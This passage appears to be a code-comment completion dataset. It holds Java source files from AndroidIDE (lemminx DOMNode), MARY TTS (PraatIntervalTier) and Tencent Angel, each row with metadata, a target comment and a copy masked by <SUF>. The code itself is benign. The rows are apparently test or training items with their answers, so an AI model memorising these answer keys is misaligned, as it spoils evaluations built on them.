*/
@Override
public NodeList getChildNodes() {
return children != null ? children : EMPTY_CHILDREN;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#appendChild(org.w3c.dom.Node)
*/
@Override
public org.w3c.dom.Node appendChild(org.w3c.dom.Node newChild) throws DOMException {
throw new UnsupportedOperationException();
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#cloneNode(boolean)
*/
@Override
public org.w3c.dom.Node cloneNode(boolean deep) {
throw new UnsupportedOperationException();
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#compareDocumentPosition(org.w3c.dom.Node)
*/
@Override
public short compareDocumentPosition(org.w3c.dom.Node other) throws DOMException {
throw new UnsupportedOperationException();
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getBaseURI()
*/
@Override
public String getBaseURI() {
throw new UnsupportedOperationException();
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getFeature(java.lang.String, java.lang.String)
*/
@Override
public Object getFeature(String arg0, String arg1) {
throw new UnsupportedOperationException();
}
@Override
public String getNamespaceURI() {
return null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getNextSibling()
*/
@Override
public DOMNode getNextSibling() {
DOMNode parentNode = getParentNode();
if (parentNode == null) {
return null;
}
List<DOMNode> children = parentNode.getChildren();
int nextIndex = children.indexOf(this) + 1;
return nextIndex < children.size() ? children.get(nextIndex) : null;
}
@Override
public String getNodeValue() throws DOMException {
return null;
}
@Override
public String getPrefix() {
return null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getPreviousSibling()
*/
@Override
public DOMNode getPreviousSibling() {
DOMNode parentNode = getParentNode();
if (parentNode == null) {
return null;
}
List<DOMNode> children = parentNode.getChildren();
int previousIndex = children.indexOf(this) - 1;
return previousIndex >= 0 ? children.get(previousIndex) : null;
}
public DOMNode getPreviousNonTextSibling() {
DOMNode prev = getPreviousSibling();
while (prev != null && prev.isText()) {
prev = prev.getPreviousSibling();
}
return prev;
}
public DOMElement getOrphanEndElement(int offset, String tagName) {
DOMNode next = getNextSibling();
if (next == null || !next.isElement()) {
return null;
}
// emp| </employe>
DOMElement nextElement = (DOMElement) next;
if (nextElement.isOrphanEndTagOf(tagName)) {
return nextElement;
}
return null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getTextContent()
*/
@Override
public String getTextContent() throws DOMException {
return getNodeValue();
}
@Override
public Object getUserData(String arg0) {
return null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#hasChildNodes()
*/
@Override
public boolean hasChildNodes() {
return children != null && !children.isEmpty();
}
@Override
public org.w3c.dom.Node insertBefore(org.w3c.dom.Node arg0, org.w3c.dom.Node arg1) throws DOMException {
return null;
}
@Override
public boolean isDefaultNamespace(String arg0) {
return false;
}
@Override
public boolean isEqualNode(org.w3c.dom.Node arg0) {
return false;
}
@Override
public boolean isSameNode(org.w3c.dom.Node arg0) {
return false;
}
@Override
public boolean isSupported(String arg0, String arg1) {
return false;
}
@Override
public String lookupNamespaceURI(String arg0) {
return null;
}
@Override
public String lookupPrefix(String arg0) {
return null;
}
@Override
public void normalize() {
}
@Override
public org.w3c.dom.Node removeChild(org.w3c.dom.Node arg0) throws DOMException {
return null;
}
@Override
public org.w3c.dom.Node replaceChild(org.w3c.dom.Node arg0, org.w3c.dom.Node arg1) throws DOMException {
return null;
}
@Override
public void setNodeValue(String arg0) throws DOMException {
}
@Override
public void setPrefix(String arg0) throws DOMException {
}
@Override
public void setTextContent(String arg0) throws DOMException {
}
@Override
public Object setUserData(String arg0, Object arg1, UserDataHandler arg2) {
return null;
}
} | AndroidIDEOfficial/AndroidIDE | subprojects/xml-dom/src/main/java/org/eclipse/lemminx/dom/DOMNode.java | 6,888 | /*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getTextContent()
*/ | block_comment | nl | /**
* Copyright (c) 2018 Angelo ZERR.
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v2.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v20.html
*
* SPDX-License-Identifier: EPL-2.0
*
* Contributors:
* Angelo Zerr <angelo.zerr@gmail.com> - initial API and implementation
*/
package org.eclipse.lemminx.dom;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Objects;
import java.util.function.Function;
import org.w3c.dom.DOMException;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.w3c.dom.UserDataHandler;
/**
* DOM node.
*
*/
public abstract class DOMNode implements Node, DOMRange {
/**
* Null value used for offset.
*/
public static final int NULL_VALUE = -1;
/**
* The node is a <code>DTD Element Declaration</code>.
*/
public static final short DTD_ELEMENT_DECL_NODE = 101;
/**
* The node is a <code>DTD Attribute List</code>.
*/
public static final short DTD_ATT_LIST_NODE = 102;
/**
* The node is a <code>DTD Entity Declaraction</code>.
*/
public static final short DTD_ENTITY_DECL_NODE = 103;
/**
* The node is a <code>DTD Notation Declaraction</code>.
*/
public static final short DTD_NOTATION_DECL = 104;
/**
* The node is a generic <code>DTD Decl Node</code>.
*/
public static final short DTD_DECL_NODE = 105;
boolean closed = false;
private XMLNamedNodeMap<DOMAttr> attributeNodes;
private XMLNodeList<DOMNode> children;
final int start; // |<root> </root>
int end; // <root> </root>|
DOMNode parent;
private static final NodeList EMPTY_CHILDREN = new NodeList() {
@Override
public Node item(int index) {
return null;
}
@Override
public int getLength() {
return 0;
}
};
static class XMLNodeList<T extends DOMNode> extends ArrayList<T> implements NodeList {
private static final long serialVersionUID = 1L;
@Override
public int getLength() {
return super.size();
}
@Override
public DOMNode item(int index) {
return super.get(index);
}
}
static class XMLNamedNodeMap<T extends DOMNode> extends ArrayList<T> implements NamedNodeMap {
private static final long serialVersionUID = 1L;
@Override
public int getLength() {
return super.size();
}
@Override
public T getNamedItem(String name) {
for (T node : this) {
if (name.equals(node.getNodeName())) {
return node;
}
}
return null;
}
@Override
public T getNamedItemNS(String name, String arg1) throws DOMException {
throw new UnsupportedOperationException();
}
@Override
public T item(int index) {
return super.get(index);
}
@Override
public T removeNamedItem(String arg0) throws DOMException {
throw new UnsupportedOperationException();
}
@Override
public T removeNamedItemNS(String arg0, String arg1) throws DOMException {
throw new UnsupportedOperationException();
}
@Override
public T setNamedItem(org.w3c.dom.Node arg0) throws DOMException {
throw new UnsupportedOperationException();
}
@Override
public T setNamedItemNS(org.w3c.dom.Node arg0) throws DOMException {
throw new UnsupportedOperationException();
}
}
public DOMNode(int start, int end) {
this.start = start;
this.end = end;
this.closed = false;
}
/**
* Returns the owner document and null otherwise.
*
* @return the owner document and null otherwise.
*/
@Override
public DOMDocument getOwnerDocument() {
Node node = parent;
while (node != null) {
if (node.getNodeType() == Node.DOCUMENT_NODE) {
return (DOMDocument) node;
}
node = node.getParentNode();
}
return null;
}
@Override
public String toString() {
return toString(0);
}
private String toString(int indent) {
StringBuilder result = new StringBuilder("");
for (int i = 0; i < indent; i++) {
result.append("\t");
}
result.append("{start: ");
result.append(start);
result.append(", end: ");
result.append(end);
result.append(", name: ");
result.append(getNodeName());
result.append(", closed: ");
result.append(closed);
if (children != null && children.size() > 0) {
result.append(", \n");
for (int i = 0; i < indent + 1; i++) {
result.append("\t");
}
result.append("children:[");
for (int i = 0; i < children.size(); i++) {
DOMNode node = children.get(i);
result.append("\n");
result.append(node.toString(indent + 2));
if (i < children.size() - 1) {
result.append(",");
}
}
result.append("\n");
for (int i = 0; i < indent + 1; i++) {
result.append("\t");
}
result.append("]");
result.append("\n");
for (int i = 0; i < indent; i++) {
result.append("\t");
}
result.append("}");
} else {
result.append("}");
}
return result.toString();
}
/**
* Returns the node before
*/
public DOMNode findNodeBefore(int offset) {
List<DOMNode> children = getChildren();
int idx = findFirst(children, c -> offset <= c.start) - 1;
if (idx >= 0) {
DOMNode child = children.get(idx);
if (offset > child.start) {
if (offset < child.end) {
return child.findNodeBefore(offset);
}
DOMNode lastChild = child.getLastChild();
if (lastChild != null && lastChild.end == child.end) {
return child.findNodeBefore(offset);
}
return child;
}
}
return this;
}
public DOMNode findNodeAt(int offset) {
List<DOMNode> children = getChildren();
int idx = findFirst(children, c -> offset <= c.start) - 1;
if (idx >= 0) {
DOMNode child = children.get(idx);
if (isIncluded(child, offset)) {
return child.findNodeAt(offset);
}
}
return this;
}
/**
* Returns true if the node included the given offset and false otherwise.
*
* @param node
* @param offset
* @return true if the node included the given offset and false otherwise.
*/
public static boolean isIncluded(DOMRange node, int offset) {
if (node == null) {
return false;
}
return isIncluded(node.getStart(), node.getEnd(), offset);
}
public static boolean isIncluded(int start, int end, int offset) {
return offset >= start && offset <= end;
}
public DOMAttr findAttrAt(int offset) {
DOMNode node = findNodeAt(offset);
return findAttrAt(node, offset);
}
public static DOMAttr findAttrAt(DOMNode node, int offset) {
if (node != null && node.hasAttributes()) {
for (DOMAttr attr : node.getAttributeNodes()) {
if (attr.isIncluded(offset)) {
return attr;
}
}
}
return null;
}
public static DOMNode findNodeOrAttrAt(DOMDocument document, int offset) {
DOMNode node = document.findNodeAt(offset);
if (node != null) {
DOMAttr attr = findAttrAt(node, offset);
if (attr != null) {
return attr;
}
}
return node;
}
/**
* Takes a sorted array and a function p. The array is sorted in such a way that
* all elements where p(x) is false are located before all elements where p(x)
* is true.
*
* @returns the least x for which p(x) is true or array.length if no element
* full fills the given function.
*/
private static <T> int findFirst(List<T> array, Function<T, Boolean> p) {
int low = 0, high = array.size();
if (high == 0) {
return 0; // no children
}
while (low < high) {
int mid = (int) Math.floor((low + high) / 2);
if (p.apply(array.get(mid))) {
high = mid;
} else {
low = mid + 1;
}
}
return low;
}
public DOMAttr getAttributeNode(String name) {
return getAttributeNode(null, name);
}
/**
* Returns the attribute that matches the given name.
*
* If there is no namespace, set prefix to null.
*/
public DOMAttr getAttributeNode(String prefix, String suffix) {
StringBuilder sb = new StringBuilder();
if (prefix != null) {
sb.append(prefix);
sb.append(":");
}
sb.append(suffix);
String name = sb.toString();
if (!hasAttributes()) {
return null;
}
for (DOMAttr attr : attributeNodes) {
if (name.equals(attr.getName())) {
return attr;
}
}
return null;
}
public String getAttribute(String name) {
DOMAttr attr = getAttributeNode(name);
String value = attr != null ? attr.getValue() : null;
if (value == null) {
return null;
}
if (value.isEmpty()) {
return value;
}
// remove quote
char c = value.charAt(0);
if (c == '"' || c == '\'') {
if (value.charAt(value.length() - 1) == c) {
return value.substring(1, value.length() - 1);
}
return value.substring(1, value.length());
}
return value;
}
/**
* Returns the attribute at the given index, the order is how the attributes
* appear in the document.
*
* @param index Starting at 0, index of attribute you want
* @return
*/
public DOMAttr getAttributeAtIndex(int index) {
if (!hasAttributes()) {
return null;
}
if (index > attributeNodes.getLength() - 1) {
return null;
}
return attributeNodes.get(index);
}
public boolean hasAttribute(String name) {
return hasAttributes() && getAttributeNode(name) != null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#hasAttributes()
*/
@Override
public boolean hasAttributes() {
return attributeNodes != null && attributeNodes.size() != 0;
}
public void setAttribute(String name, String value) {
DOMAttr attr = getAttributeNode(name);
if (attr == null) {
attr = new DOMAttr(name, this);
setAttributeNode(attr);
}
attr.setValue(value);
}
public void setAttributeNode(DOMAttr attr) {
if (attributeNodes == null) {
attributeNodes = new XMLNamedNodeMap<>();
}
attributeNodes.add(attr);
}
public List<DOMAttr> getAttributeNodes() {
return attributeNodes;
}
/**
* Returns a list of children, each having an attribute called name, with a
* value of value
*
* @param name name of attribute
* @param value value of attribute
* @return list of children, each having a specified attribute name and value
*/
public List<DOMNode> getChildrenWithAttributeValue(String name, String value) {
List<DOMNode> result = new ArrayList<>();
for (DOMNode child : getChildren()) {
if (child.hasAttribute(name)) {
String attrValue = child.getAttribute(name);
if (Objects.equals(attrValue, value)) {
result.add(child);
}
}
}
return result;
}
/**
* Returns the node children.
*
* @return the node children.
*/
public List<DOMNode> getChildren() {
if (children == null) {
return Collections.emptyList();
}
return children;
}
/**
* Add node child and set child.parent to {@code this}
*
* @param child the node child to add.
*/
public void addChild(DOMNode child) {
child.parent = this;
if (children == null) {
children = new XMLNodeList<>();
}
getChildren().add(child);
}
/**
* Returns node child at the given index.
*
* @param index
* @return node child at the given index.
*/
public DOMNode getChild(int index) {
return getChildren().get(index);
}
public boolean isClosed() {
return closed;
}
public DOMElement getParentElement() {
DOMNode parent = getParentNode();
DOMDocument ownerDocument = getOwnerDocument();
while (parent != null && parent != ownerDocument) {
if (parent.isElement()) {
return (DOMElement) parent;
}
parent = parent.getParentNode();
}
return null;
}
public boolean isComment() {
return getNodeType() == DOMNode.COMMENT_NODE;
}
public boolean isProcessingInstruction() {
return (getNodeType() == DOMNode.PROCESSING_INSTRUCTION_NODE)
&& ((DOMProcessingInstruction) this).isProcessingInstruction();
}
public boolean isProlog() {
return (getNodeType() == DOMNode.PROCESSING_INSTRUCTION_NODE) && ((DOMProcessingInstruction) this).isProlog();
}
public boolean isCDATA() {
return getNodeType() == DOMNode.CDATA_SECTION_NODE;
}
public boolean isDoctype() {
return getNodeType() == DOMNode.DOCUMENT_TYPE_NODE;
}
public boolean isGenericDTDDecl() {
return getNodeType() == DOMNode.DTD_DECL_NODE;
}
public boolean isElement() {
return getNodeType() == DOMNode.ELEMENT_NODE;
}
public boolean isAttribute() {
return getNodeType() == DOMNode.ATTRIBUTE_NODE;
}
public boolean isText() {
return getNodeType() == DOMNode.TEXT_NODE;
}
public boolean isCharacterData() {
return isCDATA() || isText() || isProcessingInstruction() || isComment();
}
public boolean isDTDElementDecl() {
return getNodeType() == DOMNode.DTD_ELEMENT_DECL_NODE;
}
public boolean isDTDAttListDecl() {
return getNodeType() == DOMNode.DTD_ATT_LIST_NODE;
}
public boolean isDTDEntityDecl() {
return getNodeType() == Node.ENTITY_NODE;
}
public boolean isDTDNotationDecl() {
return getNodeType() == DOMNode.DTD_NOTATION_DECL;
}
public boolean isOwnerDocument() {
return getNodeType() == Node.DOCUMENT_NODE;
}
public boolean isChildOfOwnerDocument() {
if (parent == null) {
return false;
}
return parent.getNodeType() == Node.DOCUMENT_NODE;
}
@Override
public int getStart() {
return start;
}
@Override
public int getEnd() {
return end;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getLocalName()
*/
@Override
public String getLocalName() {
return null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getParentNode()
*/
@Override
public DOMNode getParentNode() {
return parent;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getFirstChild()
*/
@Override
public DOMNode getFirstChild() {
return this.children != null && children.size() > 0 ? this.children.get(0) : null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getLastChild()
*/
@Override
public DOMNode getLastChild() {
return this.children != null && this.children.size() > 0 ? this.children.get(this.children.size() - 1) : null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getAttributes()
*/
@Override
public NamedNodeMap getAttributes() {
return attributeNodes;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getChildNodes()
*/
@Override
public NodeList getChildNodes() {
return children != null ? children : EMPTY_CHILDREN;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#appendChild(org.w3c.dom.Node)
*/
@Override
public org.w3c.dom.Node appendChild(org.w3c.dom.Node newChild) throws DOMException {
throw new UnsupportedOperationException();
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#cloneNode(boolean)
*/
@Override
public org.w3c.dom.Node cloneNode(boolean deep) {
throw new UnsupportedOperationException();
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#compareDocumentPosition(org.w3c.dom.Node)
*/
@Override
public short compareDocumentPosition(org.w3c.dom.Node other) throws DOMException {
throw new UnsupportedOperationException();
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getBaseURI()
*/
@Override
public String getBaseURI() {
throw new UnsupportedOperationException();
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getFeature(java.lang.String, java.lang.String)
*/
@Override
public Object getFeature(String arg0, String arg1) {
throw new UnsupportedOperationException();
}
@Override
public String getNamespaceURI() {
return null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getNextSibling()
*/
@Override
public DOMNode getNextSibling() {
DOMNode parentNode = getParentNode();
if (parentNode == null) {
return null;
}
List<DOMNode> children = parentNode.getChildren();
int nextIndex = children.indexOf(this) + 1;
return nextIndex < children.size() ? children.get(nextIndex) : null;
}
@Override
public String getNodeValue() throws DOMException {
return null;
}
@Override
public String getPrefix() {
return null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#getPreviousSibling()
*/
@Override
public DOMNode getPreviousSibling() {
DOMNode parentNode = getParentNode();
if (parentNode == null) {
return null;
}
List<DOMNode> children = parentNode.getChildren();
int previousIndex = children.indexOf(this) - 1;
return previousIndex >= 0 ? children.get(previousIndex) : null;
}
public DOMNode getPreviousNonTextSibling() {
DOMNode prev = getPreviousSibling();
while (prev != null && prev.isText()) {
prev = prev.getPreviousSibling();
}
return prev;
}
public DOMElement getOrphanEndElement(int offset, String tagName) {
DOMNode next = getNextSibling();
if (next == null || !next.isElement()) {
return null;
}
// emp| </employe>
DOMElement nextElement = (DOMElement) next;
if (nextElement.isOrphanEndTagOf(tagName)) {
return nextElement;
}
return null;
}
/*
* (non-Javadoc)
<SUF>*/
@Override
public String getTextContent() throws DOMException {
return getNodeValue();
}
@Override
public Object getUserData(String arg0) {
return null;
}
/*
* (non-Javadoc)
*
* @see org.w3c.dom.Node#hasChildNodes()
*/
@Override
public boolean hasChildNodes() {
return children != null && !children.isEmpty();
}
@Override
public org.w3c.dom.Node insertBefore(org.w3c.dom.Node arg0, org.w3c.dom.Node arg1) throws DOMException {
return null;
}
@Override
public boolean isDefaultNamespace(String arg0) {
return false;
}
@Override
public boolean isEqualNode(org.w3c.dom.Node arg0) {
return false;
}
@Override
public boolean isSameNode(org.w3c.dom.Node arg0) {
return false;
}
@Override
public boolean isSupported(String arg0, String arg1) {
return false;
}
@Override
public String lookupNamespaceURI(String arg0) {
return null;
}
@Override
public String lookupPrefix(String arg0) {
return null;
}
@Override
public void normalize() {
}
@Override
public org.w3c.dom.Node removeChild(org.w3c.dom.Node arg0) throws DOMException {
return null;
}
@Override
public org.w3c.dom.Node replaceChild(org.w3c.dom.Node arg0, org.w3c.dom.Node arg1) throws DOMException {
return null;
}
@Override
public void setNodeValue(String arg0) throws DOMException {
}
@Override
public void setPrefix(String arg0) throws DOMException {
}
@Override
public void setTextContent(String arg0) throws DOMException {
}
@Override
public Object setUserData(String arg0, Object arg1, UserDataHandler arg2) {
return null;
}
} |
40703_21 | /**
* Copyright 2010 DFKI GmbH.
* All Rights Reserved. Use is subject to license terms.
* <p/>
* This file is part of MARY TTS.
* <p/>
* MARY TTS is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, version 3 of the License.
* <p/>
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
* <p/>
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package marytts.util.data.text;
import java.util.NoSuchElementException;
import java.util.Vector;
/**
* Representation of an IntervalTier in a Praat TextGrid. Contains a number of intervals, which should not overlap or contain
* gaps.
*
* @author steiner
*/
public class PraatIntervalTier implements PraatTier {
// class used by Praat to distinguish this kind of tier from a TextTier
private final String tierClass = "IntervalTier";
// start time of tier
private double xmin = Double.NaN;
// end time of tier
private double xmax = Double.NaN;
// name of tier
private String name = null;
// Vector of intervals containing the actual data
private Vector<PraatInterval> intervals = new Vector<PraatInterval>();
/**
* bare constructor
*/
public PraatIntervalTier() {
setIntervals(new Vector<PraatInterval>());
}
/**
* constructor specifying name of new tier
*
* @param name of tier
*/
public PraatIntervalTier(String name) {
this();
setName(name);
}
/**
* constructor providing Vector of intervals
*
* @param intervals of tier
*/
public PraatIntervalTier(Vector<PraatInterval> intervals) {
setIntervals(intervals);
}
/**
* getter for class
*
* @return class string ("IntervalTier")
*/
public String getTierClass() {
return this.tierClass;
}
/**
* getter for tier name; should not be null
*
* @return tier as String
*/
@Override
public String getName() {
if (this.name == null) {
return "";
}
return this.name;
}
/**
* set name of tier
*
* @param name
*/
public void setName(String name) {
this.name = name;
}
/**
* getter for start time of tier. Assumes that intervals are in sequence
*
* @return start time of tier as double
*/
@Override
public double getXmin() {
try {
return this.intervals.firstElement().getXmin();
} catch (NoSuchElementException nse) {
return this.xmin;
}
}
/**
* getter for end time of tier. Assumes that intervals are in sequence
*
* @return end time of tier as double
*/
@Override
public double getXmax() {
try {
return this.intervals.lastElement().getXmax();
} catch (NoSuchElementException nsu) {
return this.xmax;
}
}
/**
* getter for number of intervals in tier
*
* @return number of intervals
*/
public int getNumberOfIntervals() {
return this.intervals.size();
}
/**
* getter for specific interval
*
* @param index of desired interval
* @return interval
*/
public PraatInterval getInterval(int index) {
return this.intervals.get(index);
}
/**
* replace Vector of intervals
*
* @param intervals
*/
public void setIntervals(Vector<PraatInterval> intervals) {
this.intervals = intervals;
}
/**
* add interval to the end of intervals
*
* @param interval
*/
public void appendInterval(PraatInterval interval) {
this.intervals.add(interval);
}
/**
* add times to underspecified (incomplete) intervals
*/
public void updateBoundaries() {
PraatInterval prevInterval = null;
for (int index = 0; index < getNumberOfIntervals(); index++) {
PraatInterval interval = getInterval(index);
if (!interval.isComplete()) {
if (prevInterval == null) {
interval.setXmin(0); // preliminary; could just as well be non-zero
} else {
interval.setXmin(prevInterval.getXmax());
}
if (interval.getDuration() == 0.0) {
// hack to sidestep problem in Praat; intervals must not be zero
interval.setDuration(1e-15);
}
interval.setXmax(interval.getXmin() + interval.getDuration());
}
prevInterval = interval;
}
}
/**
* string representation, used for TextGrid output
*/
@Override
public String toString() {
StringBuilder str = new StringBuilder();
str.append("class = \"" + getTierClass() + "\" \n");
str.append("name = \"" + getName() + "\" \n");
str.append("xmin = " + getXmin() + " \n");
str.append("xmax = " + getXmax() + " \n");
str.append("intervals: size = " + getNumberOfIntervals() + " \n");
for (int i = 0; i < getNumberOfIntervals(); i++) {
str.append("intervals [" + (i + 1) + "]:\n");
str.append(getInterval(i).toString());
}
return str.toString();
}
}
| AndroidMaryTTS/AndroidMaryTTS | marylib/src/main/java/marytts/util/data/text/PraatIntervalTier.java | 1,598 | // hack to sidestep problem in Praat; intervals must not be zero | line_comment | nl | /**
* Copyright 2010 DFKI GmbH.
* All Rights Reserved. Use is subject to license terms.
* <p/>
* This file is part of MARY TTS.
* <p/>
* MARY TTS is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, version 3 of the License.
* <p/>
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
* <p/>
* You should have received a copy of the GNU Lesser General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package marytts.util.data.text;
import java.util.NoSuchElementException;
import java.util.Vector;
/**
* Representation of an IntervalTier in a Praat TextGrid. Contains a number of intervals, which should not overlap or contain
* gaps.
*
* @author steiner
*/
public class PraatIntervalTier implements PraatTier {
// class used by Praat to distinguish this kind of tier from a TextTier
private final String tierClass = "IntervalTier";
// start time of tier
private double xmin = Double.NaN;
// end time of tier
private double xmax = Double.NaN;
// name of tier
private String name = null;
// Vector of intervals containing the actual data
private Vector<PraatInterval> intervals = new Vector<PraatInterval>();
/**
* bare constructor
*/
public PraatIntervalTier() {
setIntervals(new Vector<PraatInterval>());
}
/**
* constructor specifying name of new tier
*
* @param name of tier
*/
public PraatIntervalTier(String name) {
this();
setName(name);
}
/**
* constructor providing Vector of intervals
*
* @param intervals of tier
*/
public PraatIntervalTier(Vector<PraatInterval> intervals) {
setIntervals(intervals);
}
/**
* getter for class
*
* @return class string ("IntervalTier")
*/
public String getTierClass() {
return this.tierClass;
}
/**
* getter for tier name; should not be null
*
* @return tier as String
*/
@Override
public String getName() {
if (this.name == null) {
return "";
}
return this.name;
}
/**
* set name of tier
*
* @param name
*/
public void setName(String name) {
this.name = name;
}
/**
* getter for start time of tier. Assumes that intervals are in sequence
*
* @return start time of tier as double
*/
@Override
public double getXmin() {
try {
return this.intervals.firstElement().getXmin();
} catch (NoSuchElementException nse) {
return this.xmin;
}
}
/**
* getter for end time of tier. Assumes that intervals are in sequence
*
* @return end time of tier as double
*/
@Override
public double getXmax() {
try {
return this.intervals.lastElement().getXmax();
} catch (NoSuchElementException nsu) {
return this.xmax;
}
}
/**
* getter for number of intervals in tier
*
* @return number of intervals
*/
public int getNumberOfIntervals() {
return this.intervals.size();
}
/**
* getter for specific interval
*
* @param index of desired interval
* @return interval
*/
public PraatInterval getInterval(int index) {
return this.intervals.get(index);
}
/**
* replace Vector of intervals
*
* @param intervals
*/
public void setIntervals(Vector<PraatInterval> intervals) {
this.intervals = intervals;
}
/**
* add interval to the end of intervals
*
* @param interval
*/
public void appendInterval(PraatInterval interval) {
this.intervals.add(interval);
}
/**
* add times to underspecified (incomplete) intervals
*/
public void updateBoundaries() {
PraatInterval prevInterval = null;
for (int index = 0; index < getNumberOfIntervals(); index++) {
PraatInterval interval = getInterval(index);
if (!interval.isComplete()) {
if (prevInterval == null) {
interval.setXmin(0); // preliminary; could just as well be non-zero
} else {
interval.setXmin(prevInterval.getXmax());
}
if (interval.getDuration() == 0.0) {
// hack to<SUF>
interval.setDuration(1e-15);
}
interval.setXmax(interval.getXmin() + interval.getDuration());
}
prevInterval = interval;
}
}
/**
* string representation, used for TextGrid output
*/
@Override
public String toString() {
StringBuilder str = new StringBuilder();
str.append("class = \"" + getTierClass() + "\" \n");
str.append("name = \"" + getName() + "\" \n");
str.append("xmin = " + getXmin() + " \n");
str.append("xmax = " + getXmax() + " \n");
str.append("intervals: size = " + getNumberOfIntervals() + " \n");
for (int i = 0; i < getNumberOfIntervals(); i++) {
str.append("intervals [" + (i + 1) + "]:\n");
str.append(getInterval(i).toString());
}
return str.toString();
}
}
|
38108_17 | /*
* Tencent is pleased to support the open source community by making Angel available.
*
* Copyright (C) 2017-2018 THL A29 Limited, a Tencent company. All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in
* compliance with the License. You may obtain a copy of the License at
*
* https://opensource.org/licenses/Apache-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*
*/
package com.tencent.angel.ps.server.data;
import com.tencent.angel.conf.AngelConf;
import com.tencent.angel.ps.PSContext;
import java.util.Map.Entry;
import java.util.concurrent.atomic.AtomicLong;
import org.apache.commons.logging.Log;
import org.apache.commons.logging.LogFactory;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicInteger;
import org.apache.hadoop.ipc.metrics.RpcMetrics;
/**
* PS running context
*/
public class RunningContext {
private static final Log LOG = LogFactory.getLog(RunningContext.class);
private final ConcurrentHashMap<Integer, ClientRunningContext> clientRPCCounters =
new ConcurrentHashMap<>();
private final AtomicInteger totalRPCCounter = new AtomicInteger(0);
private final AtomicInteger totalRunningRPCCounter = new AtomicInteger(0);
private final AtomicInteger oomCounter = new AtomicInteger(0);
private final AtomicInteger lastOOMRunningRPCCounter = new AtomicInteger(0);
private final AtomicInteger maxRunningRPCCounter = new AtomicInteger(0);
private final AtomicInteger generalRunningRPCCounter = new AtomicInteger(0);
private final AtomicInteger infligtingRPCCounter = new AtomicInteger(0);
private volatile Thread tokenTimeoutChecker;
private final int tokenTimeoutMs;
private final AtomicBoolean stopped = new AtomicBoolean(false);
private volatile long lastOOMTs = System.currentTimeMillis();
private final float genFactor;
/*
private final ConcurrentHashMap<Integer, PSRPCMetrics> methodIdToMetricsMap = new ConcurrentHashMap<>();
class PSRPCMetrics {
private final AtomicInteger rpcCallTime = new AtomicInteger(0);
private final AtomicLong totalUseTime = new AtomicLong(0);
public void add(long useTime) {
rpcCallTime.incrementAndGet();
totalUseTime.addAndGet(useTime);
}
@Override
public String toString() {
if(rpcCallTime.get() == 0) {
return "PSRPCMetrics{" +
"rpcCallTime=" + rpcCallTime.get() +
", totalUseTime=" + totalUseTime.get() +
'}';
} else {
return "PSRPCMetrics{" +
"rpcCallTime=" + rpcCallTime.get() +
", totalUseTime=" + totalUseTime.get() +
", avg use time=" + totalUseTime.get() / rpcCallTime.get() +
'}';
}
}
}
*/
public RunningContext(PSContext context) {
LOG.info("Runtime.getRuntime().availableProcessors() = " + Runtime.getRuntime().availableProcessors());
int workerNum = context.getConf().getInt(AngelConf.ANGEL_MATRIXTRANSFER_SERVER_WORKER_POOL_SIZE,
AngelConf.DEFAULT_ANGEL_MATRIXTRANSFER_SERVER_WORKER_POOL_SIZE);
float factor = context.getConf()
.getFloat(AngelConf.ANGEL_MATRIXTRANSFER_SERVER_RPC_LIMIT_FACTOR,
AngelConf.DEFAULT_ANGEL_MATRIXTRANSFER_SERVER_RPC_LIMIT_FACTOR);
genFactor = context.getConf()
.getFloat(AngelConf.ANGEL_MATRIXTRANSFER_SERVER_RPC_LIMIT_GENERAL_FACTOR,
AngelConf.DEFAULT_ANGEL_MATRIXTRANSFER_SERVER_RPC_LIMIT_GENERAL_FACTOR);
int serverMem =
